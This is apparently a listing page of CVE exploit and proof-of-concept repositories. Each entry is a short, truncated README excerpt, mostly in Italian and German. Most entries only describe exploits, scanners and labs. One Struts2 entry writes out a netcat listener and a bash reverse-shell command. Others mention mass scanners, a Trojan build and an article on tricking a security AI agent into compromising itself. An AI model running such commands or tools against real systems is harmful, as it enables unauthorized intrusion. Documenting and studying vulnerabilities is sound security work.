CVE-2006-3747

File riguardanti la mia pubblicazione su bugtraq e il primo exploit funzionante per CVE-2006-3747 Apache modrewrite LDAP off-by-one buffer overflow. http://www.securityfocus.com/archive/1/443870 Data di rilascio pubblico del POC/Exploit: 2006-08-20 Autore: Jacobo Avariento Gimeno ID CVE:...

CVE-2018-11776

CVE-2018-11776 Ambiente per CVE-2018-11776 / S2-057 Dimostrazione Avvia il server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

scanner-for-CVE-2025-55182-vulnerability

🛡️ Scanner di Vulnerabilità GitHub per CVE-2025-55182 RCE React/Next.js Questo script Python è progettato per scansionare tutti i tuoi repository GitHub pubblici e privati alla ricerca di dipendenze potenzialmente vulnerabili a CVE-2025-55182 una Remote Code Execution critica che interessa version...

cve-2025-2082-POV

CVE-2025-2082 – PoV zur Überschreibung eines Funktionszeigers VCSEC-Stil Dieses Repository demonstriert einen Proof of Vulnerability PoV, der eine kritische Speicherkorruptions-Schwachstelle simuliert, die von CVE-2025-2082 inspiriert und in Teslas VCSEC -Komponente Vehicle Controller Security...

CVE-2022-22954

CVE-2022-22954 Attenzione Usalo a tuo rischio e pericolo. Questo repository è destinato esclusivamente a scopi educativi e siamo fermamente contrari a ogni intenzione illegale; non saremo responsabili di eventuali attività illegali associate a questo repository. Sii etico! Esempio python3...

log4shell-test-exploit

Exploit di test di CVE-2021-44228 log4shell Preparazione Installa il server HTTP Nodejs npm -g i http-server Compila l'app vittima cd victim-app mvn install Compila il Trojan cd test-trojan javac Trojan.java Compila marshalsec richiede Java 8 git clone [email protected]:mbechler/marshalsec.g...

CVE-2024-7029

Strumento PoC per sfruttare CVE-2024-7029 nei dispositivi AvTech 🎤 Traduzione del README Inglese فارسی 📸 Schermata 💎 Introduzione CVE-2024-7029 evidenzia un grave problema di sicurezza nei dispositivi AVTech, dove gli aggressori possono bypassare l'autenticazione ed eseguire comandi arbitrari da...

adobe-flash-cve2018-15982

Adobe Flash CVE-2018-15982 Questo script crea un payload swf per CVE-2018-15982, basato sul PoC di https://github.com/smgorelik/Windows-RCE-exploits. La vulnerabilità è stata scoperta da Chenming Xu e Ed Miles di Gigamon ATR. La vulnerabilità è un difetto use-after-free che consente l'esecuzione...

CVE-2026-66066-POC

PoC für CVE-2026-66066 – Minimales Stock-Rails/libvips-Labor Dieses Repository reproduziert die Rails-Active-Storage-Datei-Lesen-zu-RCE-Kette, die in GHSA-xr9x-r78c-5hrm beschrieben wird, gegen Rails 8.1.3, das neueste betroffene Rails-8.1-Release. Rails 8.1.3.1 ist die gepatchte Kontrolle...

CVE-2024-55555

Scanner di Massa Laravel Crypto Killer CVE-2024-55555 Questo script esegue una scansione di massa di applicazioni basate su Laravel vulnerabili a CVE-2024-55555, una vulnerabilità di esecuzione remota di codice RCE non autenticata in Invoice Ninja. Automatizza il processo di rilevamento di siti c...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 Creando un laboratorio e testando la CVE-2024-3116, un'esecuzione di codice remoto in pgadmin 8.4 pip scarica il file .whl 8. Installa pgadmin4: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl Cartella di installazione:...

ProxyNotShell-PoC

PoC funzionante per CVE-2022-41040 e CVE-2022-41082 A.K.A ProxyNotShell Requisito: pip install requestsntlm2 requests Utilizzo: python pocaug3.py Credenziali: Script PoC di ProxyShell da: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Post del blog di Gtsc...

CVE-2018-1207-better

Exploit PoC per CVE-2018-1207: RCE su Dell iDRAC7/iDRAC8 Reverse Shell Questo repository contiene uno script Python Proof of Concept per dimostrare un exploit di esecuzione remota di codice presente nei dispositivi iDRAC7 e iDRAC8 con versioni del firmware 2.52.52.52 e precedenti. Questo exploit...

cve-2017-8760

Exploit toolkit CVE-2017-8759 - v1.0 Exploit toolkit CVE-2017-8759 - v1.0 è un pratico script Python che fornisce a penetration tester e ricercatori di sicurezza un modo rapido ed efficace per testare la RCE di Microsoft .NET Framework. Può generare un file RTF dannoso e consegnare metasploit /...

WSO2RCE

WSO2RCE Die CVE-2022-29464 betrifft einige WSO2 -Produkte wie WSO2 API Manager und WSO2 Open Banking und ermöglicht das willkürliche Hochladen von Dateien und die Remote-Ausführung von Code. Betroffene Produkte: WSO2 API Manager 2.2.0, bis 4.0.0 WSO2 Identity Server 5.2.0, bis 5.11.0 WSO2 Identit...

CVE-2025-67511

CVE-2025-67511: Ingannare un agente AI di sicurezza per farlo autocompromettere Articolo del blog Hacktive Security per CVE-2025-67511 Link all'articolo del blog : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR Una...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit in Grafana tramite Espressioni SQL Descrizione Proof of Concept per l'esecuzione di codice remoto in Grafana CVE-2024-9264 Questo repository contiene uno script Python che sfrutta una vulnerabilità di esecuzione di codice remoto RCE nelle Espressioni SQL di Grafana...

CVE-2022-1388

CVE-2022-1388 - F5 BIG-IP iControl REST Bypass dell'autenticazione e RCE Questo script Python sfrutta CVE-2022-1388, una vulnerabilità critica in F5 BIG-IP iControl REST che consente l'esecuzione remota di comandi senza autenticazione tramite un controllo degli accessi improprio e una gestione no...

CVE-2022-25226

ThinVNC 1.0b1 - Bypass dell'autenticazione per esecuzione remota di codice CVE-2022-25226 Autore: krill-x7 Riferimento: https://fluidattacks.com/advisories/sinatra Panoramica ThinVNC 1.0b1 contiene una vulnerabilità di bypass dell'autenticazione CVE-2022-25226 che consente a malintenzionati remot...

CVE-2023-45878

CVE-2023-45878 GibbonEdu Scrittura Arbitraria di File fino all'Esecuzione di Web Shell Descrizione Questo repository contiene un exploit per CVE-2023-45878 , una vulnerabilità di scrittura arbitraria di file in GibbonEdu. La vulnerabilità interessa l'endpoint rubricsvisualisesaveAjax.php e consen...